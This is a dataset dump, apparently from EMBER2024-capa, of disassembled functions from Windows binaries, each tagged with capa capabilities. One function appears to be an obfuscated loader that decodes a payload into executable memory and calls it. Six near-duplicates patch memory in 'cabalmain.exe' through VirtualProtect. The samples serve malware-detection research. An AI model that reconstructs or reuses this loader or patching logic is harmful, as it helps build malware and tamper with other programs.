joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2a3010be
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x2a3010cd
pop dword [ebp - 0x4c]
mov eax, 0x55b913f7
add eax, 0xd476fcd6
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xed5fb00b
add dword [ebp - 0x5c], 0x60f29540
mov dword [ebp - 0x58], 0x9ec33fcc
add dword [ebp - 0x58], 0x93700c79
mov dword [ebp - 0x54], 0x75df7822
sub dword [ebp - 0x54], 0x299333f4
mov dword [ebp - 0x50], 0xce287645
add dword [ebp - 0x50], 0x31d789bb
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xe9a94c0a
add dword [ebp - 0x5c], 0x8ac91d4c
mov dword [ebp - 0x58], 0x5f20bd2d
sub dword [ebp - 0x58], 0x1db45bb8
mov dword [ebp - 0x54], 0xc5b3252
add dword [ebp - 0x54], 0x57143a1a
mov dword [ebp - 0x50], 0xdfd57364
sub dword [ebp - 0x50], 0xdfd57364
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x65da61ad
sub eax, 0x3ba5f159
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x45a2f
push 0
call eax
mov ecx, 0x3e0b86e
add ecx, 0xfc1f9164
mov edi, eax
mov ebx, 0xe030aed3
sub ebx, 0xb5f9f4d3
add ebx, dword [ebp - 0x4c]
mov esi, 0x2f5b1d56
add dword [ebp - 0x48], 0xd1cbc72f
mov edx, dword [ebx]
sub edx, esi
add dword [ebp - 0x40], ebx
mov dword [edi], edx
xor dword [ebp - 0x44], ecx
add edi, 0xdaab713e
sub edi, 0xdaab713a
add ebx, 4
loop 0x2a3011e4
add eax, 0x11a1b
mov ebx, eax
add eax, 0x1b954fb1
sub eax, 0x1b954fac
mov ecx, 0xc2e64f16
add ecx, 0x6749b0ea
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x2a30195d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x2a357578]
jne 0x2a301967
repz ret
jmp fcn.2a341dce
Function at 0x2a309f40
Capabilities:
Terminate thread

Disassembly:
push 0x10
mov eax, 0x2a342707
call fcn.2a30229e
mov esi, ecx
xor edi, edi
cmp dword [esi], 0xb
mov dword [ebp - 0x14], edi
jne 0x2a30a02b
mov edi, dword [sym.imp.kernel32.dll_WaitForSingleObject]
push 0xea60
push dword [esi + 0x2e0]
call edi
or dword [esi + 0x1ac], 0xffffffff
push 1
push dword [esi + 0x2dc]
call dword [sym.imp.kernel32.dll_SetThreadPriority]
push dword [esi + 0x2e0]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
mov ebx, dword [sym.imp.kernel32.dll_GetTickCount]
call ebx
shr eax, 4
add eax, 0x12c
mov dword [ebp - 0x10], eax
jmp 0x2a309fdb
push 0xea60
push dword [esi + 0x2e0]
call edi
push dword [esi + 0x2e0]
xor eax, eax
cmp dword [esi], 0xb
setne al
movzx eax, ax
mov dword [ebp - 0x1c], eax
call dword [sym.imp.kernel32.dll_ReleaseMutex]
cmp word [ebp - 0x1c], 0
jne 0x2a309fe5
push 0x64
call dword [sym.imp.kernel32.dll_Sleep]
call ebx
shr eax, 4
cmp eax, dword [ebp - 0x10]
jb 0x2a309fa5
push 0xea60
push dword [esi + 0x2e0]
call edi
cmp dword [esi], 0xb
jne 0x2a30a00a
xor edi, edi
inc edi
push edi
push dword [esi + 0x2dc]
call dword [sym.imp.kernel32.dll_TerminateThread]
mov dword [ebp - 0x14], edi
push dword [esi + 0x2e0]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
push dword [esi + 0x2e0]
call dword [sym.imp.kernel32.dll_CloseHandle]
and dword [esi + 0x2e0], 0
xor edi, edi
mov eax, dword [esi + 0x1c]
lea ebx, [esi + 0x1ac]
mov dword [ebx], edi
cmp eax, edi
je 0x2a30a05c
cmp word [ebp - 0x14], di
jne 0x2a30a059
push ebx
push eax
call fcn.2a3010be
cmp dword [ebx], edi
jne 0x2a30a05c
push ebx
push dword [esi + 0x18]
mov dword [esi + 0x1c], edi
call fcn.2a3010be
jmp 0x2a30a05c
mov dword [esi + 0x1c], edi
cmp word [esi + 0x14c], di
je 0x2a30a0c8
push edi
push edi
lea ecx, [ebp - 0x18]
call fcn.2a3010be
mov ebx, dword [0x2a358a70]
push edi
lea eax, [esi + 0x48]
push eax
mov eax, dword [0x2a358a74]
push str.Cstring
mov dword [ebp - 4], edi
call dword [eax + 0x14]
movzx eax, ax
pop ecx
push eax
push edi
call dword [ebx + 0xd0]
add esp, 0x10
push edi
push eax
lea ecx, [ebp - 0x18]
call fcn.2a3010be
cmp dword [ebp - 0x14], edi
je 0x2a30a0bc
lea ecx, [ebp - 0x18]
call fcn.2a3010be
test al, al
je 0x2a30a0bc
lea ecx, [ebp - 0x18]
call fcn.2a330802
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.2a3032b3
mov eax, dword [esi + 0x3c]
cmp eax, edi
je 0x2a30a0df
push eax
mov eax, dword [0x2a358780]
call dword [eax + 0x284]
pop ecx
mov dword [esi + 0x3c], edi
mov eax, dword [esi + 0x24]
cmp eax, edi
je 0x2a30a107
push eax
mov eax, dword [0x2a358a90]
cmp word [esi + 0x1a2], di
je 0x2a30a0fd
call dword [eax + 0x124]
jmp 0x2a30a103
call dword [eax + 0x11c]
pop ecx
mov dword [esi + 0x24], edi
mov dword [esi], 2
call fcn.2a3026e6
ret
Function at 0x2a323cd6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x2a3442a0
call fcn.2a30372f
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x424], eax
mov eax, dword [ebp + 0x10]
xor ebx, ebx
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x428], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], ebx
mov dword [ebp - 0x418], ebx
mov byte [ebp - 4], 1
cmp esi, ebx
je 0x2a323d84
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
inc eax
push 2
push eax
mov dword [ebp - 0x41c], eax
lea eax, [ebp - 0x41c]
push eax
call fcn.2a3010be
add esp, 0xc
test eax, eax
js 0x2a323d84
mov edi, dword [ebp - 0x41c]
cmp edi, 0x400
jg 0x2a323d6a
push edi
call fcn.2a3203ae
pop ecx
test al, al
je 0x2a323d6a
mov eax, edi
call fcn.2a341a00
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x2a323d76
push edi
lea ecx, [ebp - 0x428]
call fcn.2a3010be
push 3
push edi
push esi
push eax
call fcn.2a3010be
cmp eax, ebx
jne 0x2a323dc1
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x2a323d9d
lea ecx, [ebp - 0x418]
call fcn.2a31ffe1
mov esi, 0x8007000e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x428]
call fcn.2a31fe2e
mov eax, esi
lea esp, [ebp - 0x440]
call fcn.2a303768
ret 0x10
push 2
push ebx
push eax
call fcn.2a3212fd
mov edi, eax
mov dword [ebp - 0x41c], edi
cmp edi, ebx
jne 0x2a323de2
call fcn.2a31f619
mov esi, eax
jmp 0x2a323eac
push dword [ebp - 0x420]
push dword [ebp - 0x424]
push edi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
jne 0x2a323e05
call fcn.2a31f619
jmp 0x2a323e9e
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x420], eax
cmp eax, ebx
je 0x2a323dfb
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
mov dword [ebp - 0x424], esi
cmp eax, esi
jae 0x2a323e35
mov esi, 0x8007000e
jmp 0x2a323ea0
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.2a3010be
mov dword [ebp - 4], 1
jmp 0x2a323e63
cmp dword [ebp - 0x418], ebx
je 0x2a323e2e
push esi
push dword [ebp - 0x420]
push esi
push dword [ebp - 0x418]
call fcn.2a3010be
mov eax, dword [ebp - 0x418]
add esp, 0x10
push dword [ebp + 0x14]
mov byte [eax + esi], bl
push dword [ebp - 0x418]
lea ecx, [ebp - 0x430]
call fcn.2a3010be
mov esi, eax
push dword [ebp - 0x41c]
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x2a323da2
lea ecx, [ebp - 0x418]
call fcn.2a31ffe1
jmp 0x2a323da2
Function at 0x100038a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10066080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
push edi
test ebx, ebx
jne 0x100038d2
push str.filename_null_
push ebx
push 4
push esi
call fcn.10003a10
add esp, 0x10
jmp 0x100039ec
call fcn.10003780
push 0x1005a3ac
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push ebx
push eax
call fcn.10034ed9
add esp, 0xc
test eax, eax
jne 0x100039d9
mov edi, dword [ebp - 8]
test edi, edi
je 0x100039d9
mov ecx, esi
call fcn.10003780
push 0
push 0
push edi
call fcn.1003239f
add esp, 0xc
push edi
call fcn.10032700
add esp, 4
cmp eax, 0xffffffff
jne 0x10003936
push edi
call fcn.10031d69
add esp, 4
test eax, eax
jne 0x100039bf
push 2
push 0
push edi
call fcn.1003239f
add esp, 0xc
push edi
call fcn.10031ba4
add esp, 4
mov dword [ebp - 0x10], eax
cdq
mov ebx, eax
mov dword [ebp - 0xc], edx
push 0
push 0
push edi
call fcn.1003239f
mov eax, dword [ebp - 0xc]
mov ecx, ebx
and ecx, eax
add esp, 0xc
cmp ecx, 0xffffffff
je 0x100039bf
test eax, eax
ja 0x100039bf
jb 0x10003979
cmp ebx, 0xffffffff
jae 0x100039bf
or ebx, eax
jne 0x10003983
push ebx
push ebx
push 0xd
jmp 0x100039c5
mov ebx, dword [ebp - 0x10]
lea eax, [ebx + 1]
push eax
call fcn.1002c778
add esp, 4
mov dword [esi + 0x50], eax
push edi
push ebx
push 1
push eax
call fcn.100350f9
add esp, 0x10
cmp eax, ebx
jne 0x100039bf
mov eax, dword [esi + 0x50]
mov ecx, esi
mov byte [ebx + eax], 0
call fcn.10003b60
push edi
call fcn.1003204c
add esp, 4
jmp 0x100039ec
push 0
push 0
push 5
push esi
call fcn.10003a10
add esp, 0x10
push edi
call fcn.1003204c
add esp, 4
jmp 0x100039ec
push ebx
push str.filename_s
push 0
push 3
push esi
call fcn.10003a10
add esp, 0x14
mov eax, dword [esi + 0x38]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1002c727
mov esp, ebp
pop ebp
ret 4
Function at 0x10009ee0
Capabilities:
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10066080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push str.cabalmain.exe
mov byte [ebp - 9], cl
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor cl, cl
mov ebx, dword [eax + 0xc7bf5c]
mov eax, dword [ebx + 0x41a8]
add ebx, 0x41a8
mov dword [ebp - 0x10], eax
shr eax, 0x18
cmp al, 4
je 0x10009f2a
cmp al, 0x24
je 0x10009f2a
cmp al, 0x34
je 0x10009f2a
cmp al, 0x44
jne 0x10009f2c
mov cl, 1
movzx edi, byte [ebp - 9]
dec edi
cmp edi, 8
ja case.0x10009f36.2
jmp dword [edi*4 + 0x1000a054]
movups xmm0, xmmword [0x10066b6c]
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c868
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b7c]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
movups xmm0, xmmword [0x10066b1c]
add cl, 8
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c868
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b2c]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
movups xmm0, xmmword [0x10066b34]
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c910
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b44]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
add cl, 0xc
shl cl, 2
mov byte [ebp - 0xd], cl
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x10]
mov dword [ebx], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebp - 9]
mov byte [0x10066b31], al
cmp edi, 8
ja case.0x10009fd7.0
jmp dword [edi*4 + 0x1000a078]
movups xmm0, xmmword [0x10066b58]
add cl, 0x10
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c910
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b68]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
push 0x10066b14
jmp 0x1000a03d
push 0x10066b08
jmp 0x1000a03d
push 0x10066b4c
jmp 0x1000a03d
push 0x10066b50
jmp 0x1000a03d
push 0x10066b54
jmp 0x1000a03d
push 0x10066b18
jmp 0x1000a03d
push str.4654
jmp 0x1000a03d
push 0x10066b00
jmp 0x1000a03d
push 0x10066b10
call dword [0x10068988]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.1002c727
mov esp, ebp
pop ebp
ret
Function at 0x10009f3d
Capabilities:
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10066080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push str.cabalmain.exe
mov byte [ebp - 9], cl
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor cl, cl
mov ebx, dword [eax + 0xc7bf5c]
mov eax, dword [ebx + 0x41a8]
add ebx, 0x41a8
mov dword [ebp - 0x10], eax
shr eax, 0x18
cmp al, 4
je 0x10009f2a
cmp al, 0x24
je 0x10009f2a
cmp al, 0x34
je 0x10009f2a
cmp al, 0x44
jne 0x10009f2c
mov cl, 1
movzx edi, byte [ebp - 9]
dec edi
cmp edi, 8
ja case.0x10009f36.2
jmp dword [edi*4 + 0x1000a054]
movups xmm0, xmmword [0x10066b6c]
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c868
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b7c]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
movups xmm0, xmmword [0x10066b1c]
add cl, 8
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c868
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b2c]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
movups xmm0, xmmword [0x10066b34]
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c910
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b44]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
add cl, 0xc
shl cl, 2
mov byte [ebp - 0xd], cl
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x10]
mov dword [ebx], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebp - 9]
mov byte [0x10066b31], al
cmp edi, 8
ja case.0x10009fd7.0
jmp dword [edi*4 + 0x1000a078]
movups xmm0, xmmword [0x10066b58]
add cl, 0x10
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c910
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b68]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
push 0x10066b14
jmp 0x1000a03d
push 0x10066b08
jmp 0x1000a03d
push 0x10066b4c
jmp 0x1000a03d
push 0x10066b50
jmp 0x1000a03d
push 0x10066b54
jmp 0x1000a03d
push 0x10066b18
jmp 0x1000a03d
push str.4654
jmp 0x1000a03d
push 0x10066b00
jmp 0x1000a03d
push 0x10066b10
call dword [0x10068988]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.1002c727
mov esp, ebp
pop ebp
ret
Function at 0x10009f5c
Capabilities:
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10066080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push str.cabalmain.exe
mov byte [ebp - 9], cl
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor cl, cl
mov ebx, dword [eax + 0xc7bf5c]
mov eax, dword [ebx + 0x41a8]
add ebx, 0x41a8
mov dword [ebp - 0x10], eax
shr eax, 0x18
cmp al, 4
je 0x10009f2a
cmp al, 0x24
je 0x10009f2a
cmp al, 0x34
je 0x10009f2a
cmp al, 0x44
jne 0x10009f2c
mov cl, 1
movzx edi, byte [ebp - 9]
dec edi
cmp edi, 8
ja case.0x10009f36.2
jmp dword [edi*4 + 0x1000a054]
movups xmm0, xmmword [0x10066b6c]
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c868
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b7c]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
movups xmm0, xmmword [0x10066b1c]
add cl, 8
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c868
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b2c]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
movups xmm0, xmmword [0x10066b34]
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c910
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b44]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
add cl, 0xc
shl cl, 2
mov byte [ebp - 0xd], cl
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x10]
mov dword [ebx], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebp - 9]
mov byte [0x10066b31], al
cmp edi, 8
ja case.0x10009fd7.0
jmp dword [edi*4 + 0x1000a078]
movups xmm0, xmmword [0x10066b58]
add cl, 0x10
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c910
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b68]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
push 0x10066b14
jmp 0x1000a03d
push 0x10066b08
jmp 0x1000a03d
push 0x10066b4c
jmp 0x1000a03d
push 0x10066b50
jmp 0x1000a03d
push 0x10066b54
jmp 0x1000a03d
push 0x10066b18
jmp 0x1000a03d
push str.4654
jmp 0x1000a03d
push 0x10066b00
jmp 0x1000a03d
push 0x10066b10
call dword [0x10068988]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.1002c727
mov esp, ebp
pop ebp
ret
Function at 0x10009f7e
Capabilities:
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10066080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push str.cabalmain.exe
mov byte [ebp - 9], cl
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor cl, cl
mov ebx, dword [eax + 0xc7bf5c]
mov eax, dword [ebx + 0x41a8]
add ebx, 0x41a8
mov dword [ebp - 0x10], eax
shr eax, 0x18
cmp al, 4
je 0x10009f2a
cmp al, 0x24
je 0x10009f2a
cmp al, 0x34
je 0x10009f2a
cmp al, 0x44
jne 0x10009f2c
mov cl, 1
movzx edi, byte [ebp - 9]
dec edi
cmp edi, 8
ja case.0x10009f36.2
jmp dword [edi*4 + 0x1000a054]
movups xmm0, xmmword [0x10066b6c]
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c868
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b7c]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
movups xmm0, xmmword [0x10066b1c]
add cl, 8
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c868
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b2c]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
movups xmm0, xmmword [0x10066b34]
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c910
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b44]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
add cl, 0xc
shl cl, 2
mov byte [ebp - 0xd], cl
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x10]
mov dword [ebx], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebp - 9]
mov byte [0x10066b31], al
cmp edi, 8
ja case.0x10009fd7.0
jmp dword [edi*4 + 0x1000a078]
movups xmm0, xmmword [0x10066b58]
add cl, 0x10
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c910
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b68]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
push 0x10066b14
jmp 0x1000a03d
push 0x10066b08
jmp 0x1000a03d
push 0x10066b4c
jmp 0x1000a03d
push 0x10066b50
jmp 0x1000a03d
push 0x10066b54
jmp 0x1000a03d
push 0x10066b18
jmp 0x1000a03d
push str.4654
jmp 0x1000a03d
push 0x10066b00
jmp 0x1000a03d
push 0x10066b10
call dword [0x10068988]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.1002c727
mov esp, ebp
pop ebp
ret
Function at 0x10009f9d
Capabilities:
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10066080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push str.cabalmain.exe
mov byte [ebp - 9], cl
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor cl, cl
mov ebx, dword [eax + 0xc7bf5c]
mov eax, dword [ebx + 0x41a8]
add ebx, 0x41a8
mov dword [ebp - 0x10], eax
shr eax, 0x18
cmp al, 4
je 0x10009f2a
cmp al, 0x24
je 0x10009f2a
cmp al, 0x34
je 0x10009f2a
cmp al, 0x44
jne 0x10009f2c
mov cl, 1
movzx edi, byte [ebp - 9]
dec edi
cmp edi, 8
ja case.0x10009f36.2
jmp dword [edi*4 + 0x1000a054]
movups xmm0, xmmword [0x10066b6c]
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c868
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b7c]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
movups xmm0, xmmword [0x10066b1c]
add cl, 8
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c868
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b2c]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
movups xmm0, xmmword [0x10066b34]
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c910
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b44]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
add cl, 0xc
shl cl, 2
mov byte [ebp - 0xd], cl
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x10]
mov dword [ebx], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebp - 9]
mov byte [0x10066b31], al
cmp edi, 8
ja case.0x10009fd7.0
jmp dword [edi*4 + 0x1000a078]
movups xmm0, xmmword [0x10066b58]
add cl, 0x10
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c910
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b68]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
push 0x10066b14
jmp 0x1000a03d
push 0x10066b08
jmp 0x1000a03d
push 0x10066b4c
jmp 0x1000a03d
push 0x10066b50
jmp 0x1000a03d
push 0x10066b54
jmp 0x1000a03d
push 0x10066b18
jmp 0x1000a03d
push str.4654
jmp 0x1000a03d
push 0x10066b00
jmp 0x1000a03d
push 0x10066b10
call dword [0x10068988]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.1002c727
mov esp, ebp
pop ebp
ret
Function at 0x10009fa0
Capabilities:
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10066080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push str.cabalmain.exe
mov byte [ebp - 9], cl
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor cl, cl
mov ebx, dword [eax + 0xc7bf5c]
mov eax, dword [ebx + 0x41a8]
add ebx, 0x41a8
mov dword [ebp - 0x10], eax
shr eax, 0x18
cmp al, 4
je 0x10009f2a
cmp al, 0x24
je 0x10009f2a
cmp al, 0x34
je 0x10009f2a
cmp al, 0x44
jne 0x10009f2c
mov cl, 1
movzx edi, byte [ebp - 9]
dec edi
cmp edi, 8
ja case.0x10009f36.2
jmp dword [edi*4 + 0x1000a054]
movups xmm0, xmmword [0x10066b6c]
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c868
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b7c]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
movups xmm0, xmmword [0x10066b1c]
add cl, 8
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c868
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b2c]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
movups xmm0, xmmword [0x10066b34]
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c910
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b44]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
add cl, 0xc
shl cl, 2
mov byte [ebp - 0xd], cl
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x10]
mov dword [ebx], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebp - 9]
mov byte [0x10066b31], al
cmp edi, 8
ja case.0x10009fd7.0
jmp dword [edi*4 + 0x1000a078]
movups xmm0, xmmword [0x10066b58]
add cl, 0x10
shl cl, 2
mov byte [ebp - 0xd], cl
mov ecx, 0x107c910
movups xmmword [ecx], xmm0
mov eax, dword [0x10066b68]
mov dword [ecx + 0x10], eax
jmp 0x10009fa6
push 0x10066b14
jmp 0x1000a03d
push 0x10066b08
jmp 0x1000a03d
push 0x10066b4c
jmp 0x1000a03d
push 0x10066b50
jmp 0x1000a03d
push 0x10066b54
jmp 0x1000a03d
push 0x10066b18
jmp 0x1000a03d
push str.4654
jmp 0x1000a03d
push 0x10066b00
jmp 0x1000a03d
push 0x10066b10
call dword [0x10068988]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.1002c727
mov esp, ebp
pop ebp
ret